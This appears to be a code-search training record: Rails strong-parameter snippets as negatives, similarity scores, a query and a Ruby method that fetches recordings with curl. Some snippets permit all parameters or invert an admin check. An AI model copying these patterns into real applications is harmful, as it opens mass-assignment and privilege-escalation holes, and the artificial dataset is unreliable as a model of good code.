"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Fetch recordings from their sources to local paths
|
def fetch
@recordings.map do |uri, path|
STDERR.puts("# Fetching #{uri} to #{path}")
fetch = Mixlib::ShellOut.new(
"curl --continue-at - --output #{path} #{uri}",
live_stream: STDERR
)
fetch.run_command
{
path: path,
result: fetch.exitstatus,
uri: uri
}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_remote_files\n manager = @current_source.file_manager\n manager.start do \n @current_source.folders.each do |folder|\n @files[folder] = manager.find_files folder\n @files[folder] = @files[folder].take(@take) if @take\n Logger.<<(__FILE__,\"INFO\",\"Found #{@files[folder].size} files for #{@current_source.base_dir}/#{folder} at #{@current_source.host.address}\")\n SignalHandler.check\n end\n end\n end",
"def fetch\n @routes = []\n source_extractors.keys.each do |source|\n extract_routes(source, data_for_source(source))\n end\n end",
"def get_sources\n response = execute_get(\"/reference/source\")\n Source.from_array(decode(response))\n end",
"def data_sources\n src.collect{|v| v['source']}\n end",
"def get_sources(workdir)\n @sources.each do |source|\n cur_source = Vanagon::Component::Source.source(source.url, { :ref => source.ref, :sum => source.sum }, workdir)\n cur_source.fetch\n cur_source.verify\n end\n end",
"def fetch\n @shard_prefixes.each do |prefix|\n data = {}\n shard_name = prefix\n prefix = \"#{@shard_prefix}#{prefix}\"\n @filenames.map do |filename|\n filename = filename.sub(/\\*/, prefix)\n puts \"Fetching #{filename}...\"\n\n index = @filters.select { |_, value| filename.match value }\n key = index.values[0]\n data[key] = download(@host, \"#{@path_prefix}#{filename}\")\n end\n save Shard.new(shard_name, data)\n end\n binding.pry\n end",
"def fetch\n return if fetched?\n\n ranges = fetch_ranges\n\n # Select which byte ranges to download\n records = Forecaster.configuration.records.values\n filtered_ranges = records.map { |k| ranges[k] }\n\n fetch_grib2(filtered_ranges)\n end",
"def find_and_save(path='.')\n @logger.info(\"searching in sources: #{@names}\")\n @sources.flat_map { |name, source| source.find_and_save(path) }\n end",
"def get_recordings(options = {})\n prepare\n @api.get_recordings(options)\n end",
"def load_records!\n record_paths.map do |path|\n Record.load_record! self, path\n end\n end",
"def sources\n @sources ||= []\n end",
"def prepare_sources\n SOURCES.each_pair do |suite, url|\n prepare_source_for(url, @freshen)\n end\n end",
"def _get_paths(params = {})\n zone = params[:zone]\n noverify = (params[:noverify] == 1) # TODO this is unused atm\n dmid = get_dmid(params[:domain])\n devices = refresh_device or raise MogileFS::Backend::NoDevicesError\n urls = []\n sql = <<-EOS\n SELECT fid FROM file\n WHERE dmid = #{dmid} AND dkey = '#{@my.quote(params[:key])}'\n LIMIT 1\n EOS\n\n res = query(sql).fetch_row\n res && res[0] or raise MogileFS::Backend::UnknownKeyError\n fid = res[0]\n sql = \"SELECT devid FROM file_on WHERE fid = '#{@my.quote(fid)}'\"\n query(sql).each do |devid,|\n unless devinfo = devices[devid.to_i]\n devices = refresh_device(true)\n devinfo = devices[devid.to_i] or next\n end\n devinfo[:readable] or next\n port = devinfo[:http_get_port]\n host = zone && zone == 'alt' ? devinfo[:altip] : devinfo[:hostip]\n uri = uri_for(devid, fid)\n urls << \"http://#{host}:#{port}#{uri}\"\n end\n urls\n end",
"def get_source_data(source_name:, catalog_id:)\n response = HTTParty.get(\"#{@host}/api/sources/#{source_name}\", query: {\n catalog_id: catalog_id,\n api_key: @api_key\n })\n \n return response[\"source\"]\n end",
"def get_sources(workdir) # rubocop:disable Metrics/AbcSize\n sources.each do |source|\n src = Vanagon::Component::Source.source(\n source.url, workdir: workdir, ref: source.ref, sum: source.sum\n )\n src.fetch\n src.verify\n if source.erb\n erb_file(src.file, File.join(File.dirname(src.file), File.basename(src.file, \".erb\")), true)\n end\n # set src.file to only be populated with the basename instead of entire file path\n src.file = File.basename(src.url)\n extract_with << src.extract(platform.tar) if src.respond_to? :extract\n end\n end",
"def get_recordings()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/recordings\"))[0]\n end",
"def watched_sources\n @watched_sources\n end",
"def find_sources\n names = \"\"\n Googlenews.items(100).each do |report|\n name = report['title'].match(/ - ([\\w. ]+)/)[1]\n names << name\n unless Source.find_by_name(name)\n source = Source.new({\n :name => name\n })\n source.save\n end\n end\n render :text => names\n end",
"def data_sources\n []\n end",
"def extract\n begin_connection\n\n entries.map do |entry|\n local_file = File.join(@local_path, entry.name)\n logger.info \"Downloading #{entry.name} to #{local_file}\"\n sftp_retry { sftp_session.download!(File.join(@remote_path, entry.name), local_file) }\n local_file\n end\n ensure\n end_connection\n end",
"def fetch_resource_recordsets(zoneid)\n next_token, recordsets = fetch_resource_recordsets_page(zoneid)\n\n until next_token.nil?\n next_token, list = fetch_resource_recordsets_page(zoneid, next_token)\n recordsets += list\n sleep 2 # Don't spam the route53 API - we can only make 5 calls/second total\n end\n\n recordsets\nend",
"def fetch\n DownloadManager.fetch(src, target)\n parse\n end",
"def fetch!\n old_path = path\n if old_path && path.length > 0\n path = \"\"\n @results = get(old_path, @options)\n end\n end",
"def sources_for(r)\n return if r[:source].to_s.empty?\n [{ url: r[:source] }]\n end",
"def get_proxy_records sinfo\n records = []\n\n role = @app.frontend? sinfo ? :frontend : :backend\n server_type = sinfo[:server_type]\n\n record = get_sys_remote_path role\n records << remote_path_record('sys', server_type, record) if record\n\n record = get_user_remote_path @app.base, server_type\n records << remote_path_record('user', server_type, record) if record\n\n records\n end",
"def remote_files\n @remote_files ||= local_files\n end",
"def collect\n file_path = File.join(@raw_file.cached_path, @raw_file.name)\n begin\n case @raw_file.cached_storage_location\n when AppConfig.file_locations.database\n gridfs_file = Mongo::GridFileSystem.new(Mongoid.database).open(file_path, 'r')\n send_data gridfs_file.read, :filename => @raw_file.name\n when AppConfig.file_locations.filesystem\n send_file file_path, :filename => @raw_file.name\n end\n rescue\n render :status => :not_found\n end\n end",
"def sources_data\n sources_url = Api.gnews_path('sources')\n call_gnews_url(sources_url).parse\n end",
"def recordings_list_stored\n get \"recordings/stored\"\n end",
"def sources\n @sources ||= SourcePool.new\n end",
"def sources\n sort!\n @sources\n end",
"def find\n @logger.info(\"searching in sources: #{@names}\")\n @sources.flat_map { |name, source| source.find }\n #File.open(\"/tmp/images.yaml\", \"r\") do |file|\n # return YAML::load(file)\n #end\n end",
"def get_urls()\n generate_thread(@@source_url)\n end",
"def collect_media(prefix=\"\")\n media = {}\n\n s3_media = list_objects(prefix)\n puts \"Found #{s3_media.count} objects\"\n s3_media.each do |object|\n path = object[:key].slice(6, object[:key].length)\n media[path] ||= {}\n media[path][:s3] = object\n end\n\n local_media = list_files(prefix)\n puts \"Found #{local_media.count} files\"\n local_media.each do |file|\n path = file[:path].slice(6, file[:path].length)\n media[path] ||= {}\n media[path][:local] = file\n end\n\n media\nend",
"def get_source_files(info_files, root_dir)\n sources = {}\n total_lines_found = 0\n total_lines_hit = 0\n info_files.each do |file|\n @log.debug \"Processing tracefile: #{file}\"\n source_pathname = nil\n in_record = false\n lines_found = nil\n lines_hit = nil\n File.open(file).each do |line|\n @log.debug \"#{file}: #{line.rstrip}\"\n\n # SF:<absolute path to the source file>\n line.match('^SF:' + Regexp.quote(root_dir) + '/(.*)$') do |match|\n @log.warn 'Found source filename without preceding end_of_record' if in_record\n @log.debug \"Found source filename: #{match[1]}\"\n source_pathname = match[1]\n if !sources.has_key?(source_pathname) then\n source = File.read(match[1])\n sources[source_pathname] = {\n :name => source_pathname,\n :source => source,\n :coverage => Array.new(source.lines.count)\n }\n end\n in_record = true\n end\n\n # DA:<line number>,<execution count>[,<checksum>]\n line.match(/^DA:(?<line>\\d+),(?<count>\\d+)(,(?<checksum>.*))?$/) do |match|\n line_index = match[:line].to_i - 1\n if !sources[source_pathname][:coverage][line_index] then\n sources[source_pathname][:coverage][line_index] = 0\n end\n sources[source_pathname][:coverage][line_index] = \n sources[source_pathname][:coverage][line_index] + match[:count].to_i;\n end if in_record\n\n # LF:<lines found> or LH:<lines hit>\n line.match(/^LF:(?<count>\\d+)$/) { |match| lines_found = match[:count] }\n line.match(/^LH:(?<count>\\d+)$/) { |match| lines_hit = match[:count] }\n\n # end_of_record\n if line == \"end_of_record\\n\" and in_record then\n @log.info begin\n perc = get_percentage(lines_hit, lines_found)\n \"[#{perc}] #{source_pathname} (#{lines_hit}/#{lines_found})\"\n end\n total_lines_found = total_lines_found + lines_found.to_i\n total_lines_hit = total_lines_hit + lines_hit.to_i\n in_record = false\n lines_found = nil\n lines_hit = nil\n end\n end\n end\n\n @log.info begin\n perc = get_percentage(total_lines_hit, total_lines_found, true)\n \"[#{perc}] Total (#{total_lines_hit}/#{total_lines_found})\"\n end\n\n sources.values\n end",
"def sources\n @sources ||= AVAILABLE_SOURCES.each_with_object({}) do |source_class, list|\n source = source_class.new\n list[source.id.to_s] = {\n 'name' => source.name,\n 'website' => source.website,\n 'notes' => source.notes,\n 'class' => source.class\n }\n end\n end",
"def get_all_sources_info\n source_info = {}\n METADATA_FIELDS.keys.each { |ns|\n source_info[ns] = get_metadata_source_info(ns)\n }\n source_info\n end",
"def records\n live_lookup_service.new(@ids).records\n end",
"def sources\n %w[\n sample_source\n ]\nend",
"def restore_source_files source\n dir = Conf::directories\n base = File.join(dir.data)\n source.folders.each do |fold|\n url = File.join(dir.backup,source.name.to_s,fold)\n files = ls(url).map { |f| CDR::File.new(::File.join(url,f),search: true)}\n nurl = File.join(dir.store,source.name.to_s,fold)\n download_all_files(files,nurl) unless files.empty?\n end\n Logger.<<(__FILE__,\"INFO\",\"Restored file from backup & server for #{source.name.to_s}\")\n end",
"def sources(opts)\n if opts.edit\n path = File.expand_path(Config.instance.options['sources']['path'])\n Config.instance.open_file(path)\n else\n sources = Sources.instance\n sources.parse(@sources)\n sources_list_dl(sources, opts)\n end\n end",
"def download_response_files!\n files_downloaded = []\n File.makedirs(cache_location + '/returns')\n with_ftp do |ftp|\n files = ftp.list('*.csv')\n files.each do |filels|\n size, file = filels.split(/ +/)[4], filels.split(/ +/)[8..-1].join(' ')\n ftp.get(file, cache_location + '/returns/' + user_suffix + '_' + file)\n files_downloaded << file\n end\n end\n files_downloaded\n end",
"def records_for_source_to_related(options = {})\n records_base(options)\n end",
"def urls\n @gapi.source_uris\n end",
"def sources\n []\n end",
"def sources\n @sources.names\n end",
"def index\n @founding_sources = FoundingSource.all\n end",
"def sources\n filter.sources\n end",
"def retrieve_cloud_files(files); end",
"def downloadTBD\n\n #just do a collection!\n\n @players = Player.all\n @players.each do |player|\n @playerHash = downloadStat(player.yahoo_pid)\n end \n\n end",
"def fetch\n log.info(log_key) { \"Copying from `#{source_path}'\" }\n\n create_required_directories\n FileSyncer.sync(source_path, project_dir, source_options)\n # Reset target shasum on every fetch\n @target_shasum = nil\n target_shasum\n end",
"def download_data\n # Custom downloader functionality implementation, this is just a simplified example template\n $log.info 'Starting downloading data from the Dummy API.'\n entities = @metadata.list_entities\n results = []\n entities.each do |entity|\n entity_custom = entity.custom\n load_metadata entity, entity_custom['fields']\n start_date, end_date = get_date_interval(entity)\n results << [entity, download_data_range(entity, start_date, end_date)]\n end\n save_to_s3 results\n end",
"def download_files local_dir, remote_dir,remote_files,opts = {}\n safe_fetch do\n @ssh.sftp.connect do |sftp|\n Logger.<<(__FILE__,\"INFO\",\"Will start download #{remote_dir}/* from #{@host} to #{local_dir}...\")\n dls = remote_files.map do |remote_file|\n local_path = \"#{local_dir}/#{remote_file}\"\n sftp.download(\"#{remote_dir}/#{remote_file}\",local_path)\n end\n dls.each {|d| d.wait}\n Logger.<<(__FILE__,\"INFO\",\"Downloaded #{dls.size} files from #{remote_dir} at #{@host}\")\n end\n end\n end",
"def resolve_downloads_paths!\n info(\"Resolving Downloads path from config.\")\n config[:downloads] = config[:downloads]\n .map do |source, destination|\n source = source.to_s\n destination = destination.gsub(\"%{instance_name}\", instance.name)\n info(\" resolving remote source's absolute path.\")\n unless source.match?('^/|^[a-zA-Z]:[\\\\/]') # is Absolute?\n info(\" '#{source}' is a relative path, resolving to: #{File.join(config[:root_path], source)}\")\n source = File.join(config[:root_path], source.to_s).to_s\n end\n\n if destination.match?('\\\\$|/$') # is Folder (ends with / or \\)\n destination = File.join(destination, File.basename(source)).to_s\n end\n info(\" Destination: #{destination}\")\n if !File.directory?(File.dirname(destination))\n FileUtils.mkdir_p(File.dirname(destination))\n else\n info(\" Directory #{File.dirname(destination)} seems to exist.\")\n end\n\n [ source, destination ]\n end\n nil # make sure we do not return anything\n end",
"def download_files\n files = @settings['files']\n gd = GoogleDownloader.new @settings\n\n files.each do |target_file, file_id|\n target_file = target_file + \".yml\" if target_file !~ /\\.yml$/\n response = gd.download target_file, @tmp_folder, file_id\n @csv_files[target_file] = csv_convert(target_file)\n end\n end",
"def get_files_for_download\n files_to_download = {}\n s3_files = []\n \n # S3\n get_s3_files do\n @s3_log_reader = ::Logical::Naf::LogReader.new\n s3_files = retrieve_log_files_from_s3\n end\n\n # Add S3 files to the hash, mapping them to true (need to read from s3)\n s3_files.each do |file_to_add|\n files_to_download[file_to_add] = true\n end\n\n return files_to_download unless record_id.present?\n\n # Non-S3\n if File.directory?(\"#{::Naf::PREFIX_PATH}/#{::Naf.schema_name}/jobs/#{record_id}\")\n files = Dir[\"#{::Naf::PREFIX_PATH}/#{::Naf.schema_name}/jobs/#{record_id}/*\"]\n else\n return files_to_download\n end\n\n if files.present?\n # Sort log files based on time and add them the hash (mapped to false)\n files.sort { |x, y| Time.parse(y.scan(DATE_REGEX)[0][0]) <=> Time.parse(x.scan(DATE_REGEX)[0][0]) }.each do |file_to_add|\n files_to_download[file_to_add] = false\n end\n end\n\n return files_to_download\n end",
"def fetch_urls\n # Crazy crazy URLs to try to find PARSE_PARAMS in Sfx4 db that have a period in\n # them, so they look like they might be URLs. Parse params could be at target service\n # level, or at portfolio level; and could be in local overrides or in global kb. \n # This is crazy crazy SQL to get this, sorry. Talking directly to SFX db isn't\n # a great idea, but best way we've found to get this for now. Might make more\n # sense to try to use the (very very slow) SFX export in the future instead. \n sql = %{\n SELECT \n COALESCE(LCL_SERVICE_LINKING_INFO.PARSE_PARAM,KB_TARGET_SERVICES.PARSE_PARAM) PARSE_PARAM\n FROM\n LCL_TARGET_INVENTORY\n JOIN sfxglb41.KB_TARGET_SERVICES\n ON KB_TARGET_SERVICES.TARGET_ID = LCL_TARGET_INVENTORY.TARGET_ID\n JOIN LCL_SERVICE_INVENTORY \n ON LCL_TARGET_INVENTORY.TARGET_ID = LCL_SERVICE_INVENTORY.TARGET_ID\n LEFT OUTER JOIN LCL_SERVICE_LINKING_INFO\n ON LCL_SERVICE_INVENTORY.TARGET_SERVICE_ID = LCL_SERVICE_LINKING_INFO.TARGET_SERVICE_ID\n WHERE\n ( LCL_SERVICE_LINKING_INFO.PARSE_PARAM like '%.%' OR\n KB_TARGET_SERVICES.PARSE_PARAM like '%.%' )\n AND\n LCL_SERVICE_INVENTORY.ACTIVATION_STATUS='ACTIVE'\n AND\n LCL_TARGET_INVENTORY.ACTIVATION_STATUS = 'ACTIVE'\n\n UNION\n -- object portfolio parse param version\n SELECT\n COALESCE(LCL_OBJECT_PORTFOLIO_LINKING_INFO.PARSE_PARAM, KB_OBJECT_PORTFOLIOS.PARSE_PARAM) PARSE_PARAM\n FROM\n sfxglb41.KB_OBJECT_PORTFOLIOS\n JOIN LCL_SERVICE_INVENTORY\n ON KB_OBJECT_PORTFOLIOS.TARGET_SERVICE_ID = LCL_SERVICE_INVENTORY.TARGET_SERVICE_ID\n JOIN LCL_OBJECT_PORTFOLIO_INVENTORY\n ON KB_OBJECT_PORTFOLIOS.OP_ID = LCL_OBJECT_PORTFOLIO_INVENTORY.OP_ID\n left outer join LCL_OBJECT_PORTFOLIO_LINKING_INFO\n ON KB_OBJECT_PORTFOLIOS.OP_ID = LCL_OBJECT_PORTFOLIO_LINKING_INFO.OP_ID \n WHERE\n ( KB_OBJECT_PORTFOLIOS.PARSE_PARAM like '%.%' OR \n LCL_OBJECT_PORTFOLIO_LINKING_INFO.PARSE_PARAM like '%.%' )\n AND LCL_OBJECT_PORTFOLIO_INVENTORY.ACTIVATION_STATUS = 'ACTIVE' \n AND LCL_SERVICE_INVENTORY.ACTIVATION_STATUS='ACTIVE'\n }\n\n results = connection.select_all(sql)\n urls = []\n results.each do |line|\n param_string = line[\"PARSE_PARAM\"]\n # Try to get things that look sort of like URLs out. Brutal force,\n # sorry. \n url_re = Regexp.new('(https?://\\S+\\.\\S+)(\\s|$)')\n urls.concat( param_string.scan( url_re ).collect {|matches| matches[0]} ) \n end \n urls.uniq!\n return urls\n end",
"def download_files\n path = Conf::directories.tmp\n manager = @current_source.file_manager\n manager.start do\n @current_source.folders.each do |folder|\n files = @files[folder]\n puts \"folder => #{folder}, Files => #{files}\" if @opts[:v]\n next if files.empty? \n # download into the TMP directory by folder\n spath = File.join(path, @current_source.name.to_s,folder)\n manager.download_files files,spath,v: true\n move_files folder\n @current_source.schema.insert_files files,folder\n SignalHandler.check { Logger.<<(__FILE__,\"WARNING\",\"SIGINT Catched. Abort.\")}\n end\n end\n end",
"def sources\n source_paths\n end",
"def src_for(filename, env={})\n @semaphore.synchronize do\n refresh(env)\n file = @files[filename]\n unless file and file.has_key? :path\n raise \"#{filename.dump} is not available from file server\"\n end\n \"#{file[:path]}?#{file[:mtime].to_i}\"\n end\n end",
"def stream_urls\n @stream_urls ||= begin\n return {} unless presenter.solr_document['derivatives_metadata_ssi'].present?\n files_metadata = JSON.parse(presenter.solr_document['derivatives_metadata_ssi'])\n file_locations = files_metadata.select { |f| f['file_location_uri'].present? }\n return {} unless file_locations.present?\n streams = {}\n file_locations.each do |f|\n streams[f['label']] = Hyrax::IiifAv.config.iiif_av_url_builder.call(\n f['file_location_uri'],\n request.base_url\n )\n end\n streams\n end\n end",
"def load(rng = nil, attrs = {})\n\n params = {}\n params[:offset] = rng.begin unless rng.nil?\n params[:limit] =\n rng.end - rng.begin + (rng.exclude_end? ? 0 : 1) unless rng.nil?\n\n params.merge! attrs\n uri_params = Helper.to_request_params params\n req = Net::HTTP::Get.new(\"/sources?\"+uri_params)\n res = @lagoonserver.request_with_auth req\n json_sources = JSON.parse(res.body)\n @sources = json_sources.map { |src| Source.new(src, self)}\n return nil\n end",
"def sources\n @iTunes.sources.each do |source|\n @sources << source\n end\n end",
"def tracked_files; end",
"def fetch\n if cached_location.exist?\n @local_path = cached_location\n debug \"#{extended_name} is cached\"\n else\n raise \"No download URL specified for #{extended_name}\" if download_url.nil?\n blah \"Fetching #{extended_name}\"\n downloader = Drupid.makeDownloader self.download_url.to_s,\n self.cached_location.dirname.to_s,\n self.cached_location.basename.to_s,\n self.download_specs\n downloader.fetch\n downloader.stage\n @local_path = downloader.staged_path\n end\n end",
"def external_datastreams\n datastreams.select { |name, ds| ds.external? }\n end",
"def get_sources\n @page.all(input_elements[:sources_list])\n end",
"def fs_batch__fetch_from_aws_s3_to_local *args\n aws_s3_path,\n local_path,\n local_path_is_dir,\n reserved = args\n\n aws_s3_batch = aws_s3_batch__fetch_file aws_s3_path, local_path\n\n batch = [\n (local_path_is_dir && [\"mkdir\", \"-p\", \"#{local_path}\" ] || nil),\n [\"ls\", \"-lh\", \"#{local_path}\" ]\n ] +\n aws_s3_batch + [\n [\"ls\", \"-lh\", \"#{local_path}\" ]\n ]\n\n batch.compact\n end",
"def sources_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: SourceApi#sources_get ...\"\n end\n \n # resource path\n path = \"/sources\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n query_params[:'client_id'] = opts[:'client_id'] if opts[:'client_id']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n query_params[:'created_at'] = opts[:'created_at'] if opts[:'created_at']\n query_params[:'updated_at'] = opts[:'updated_at'] if opts[:'updated_at']\n query_params[:'limit'] = opts[:'limit'] if opts[:'limit']\n query_params[:'offset'] = opts[:'offset'] if opts[:'offset']\n query_params[:'sort'] = opts[:'sort'] if opts[:'sort']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['quantimodo_oauth2']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'inline_response_200_15')\n if Configuration.debugging\n Configuration.logger.debug \"API called: SourceApi#sources_get. Result: #{result.inspect}\"\n end\n return result\n end",
"def fetch_snapshots\n @snapshots = ::Refinery::Snapshots::Snapshot.all\n end",
"def local_files\n @local_files ||= CloudfileAsset::Local.public_files.collect{|filename| CloudfileAsset::Local.make_relative(filename)}\n end",
"def list_d_b_source(project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/sources'\n\t\targs[:query]['Action'] = 'ListDBSource'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :source_name\n\t\t\targs[:query]['SourceName'] = optional[:source_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def load\n sources_data = @gateway.sources_data\n build_entity(sources_data['sources'])\n end",
"def get_sources(opts = {})\n data, _status_code, _headers = get_sources_with_http_info(opts)\n data\n end",
"def generateRakeFor_GenerateSourceFiles\n lLstGlobalRecordTasks = []\n\n # 1. Recordings\n lRecordingsConf = @RecordConf[:Recordings]\n if (lRecordingsConf != nil)\n # Generate recordings rules\n # Gather the recording environments and their respective file names to produce\n # map< Symbol, list< String > >\n lRecordings = {}\n lTracksConf = lRecordingsConf[:Tracks]\n if (lTracksConf != nil)\n lTracksConf.each do |iLstTracks, iRecordingConf|\n lEnv = iRecordingConf[:Env]\n lRecordedFileName = getRecordedFileName(lEnv, iLstTracks)\n\n desc \"Raw recording of tracks #{iLstTracks.sort.join(', ')} in recording environment #{lEnv}\"\n file lRecordedFileName do |iTask|\n # Raw recording task\n record(iTask.name, @Context[:RecordedFilesPrepared])\n end\n\n if (lRecordings[lEnv] == nil)\n lRecordings[lEnv] = []\n end\n lRecordings[lEnv] << lRecordedFileName\n # If there is a need of calibration, record also the calibration files\n if (iRecordingConf[:CalibrateWithEnv] != nil)\n lReferenceEnv = iRecordingConf[:CalibrateWithEnv]\n [\n [ lReferenceEnv, lEnv ],\n [ lEnv, lReferenceEnv ]\n ].each do |iEnvPair|\n iRefEnv, iRecEnv = iEnvPair\n lCalibrationFileName = getRecordedCalibrationFileName(iRefEnv, iRecEnv)\n if (lRecordings[iRecEnv] == nil)\n lRecordings[iRecEnv] = []\n end\n if (!lRecordings[iRecEnv].include?(lCalibrationFileName))\n\n desc \"Calibration recording in recording environment #{iRecEnv} to be compared with reference environment #{iRefEnv}\"\n file lCalibrationFileName do |iTask|\n record(iTask.name, @Context[:RecordedFilesPrepared])\n end\n\n lRecordings[iRecEnv] << lCalibrationFileName\n end\n end\n @Context[:EnvsToCalibrate][[ lReferenceEnv, lEnv ].sort] = nil\n end\n end\n end\n # Make the task recording in the correct order\n lSortedEnv = lRecordingsConf[:EnvRecordingOrder] || []\n lRecordings.sort do\n |iElem1, iElem2|\n if (iElem2[1].size == iElem1[1].size)\n next iElem1[0] <=> iElem2[0]\n else\n next iElem2[1].size <=> iElem1[1].size\n end\n end.each do |iElem|\n if (!lSortedEnv.include?(iElem[0]))\n lSortedEnv << iElem[0]\n end\n end\n lLstTasks = []\n lSortedEnv.each do |iEnv|\n lLstFiles = lRecordings[iEnv]\n if (lLstFiles != nil)\n # Record a silence file\n lSilenceFile = getRecordedSilenceFileName(iEnv)\n\n desc \"Record silence file for recording environment #{iEnv}\"\n file lSilenceFile do |iTask|\n # Raw recording task\n record(iTask.name, 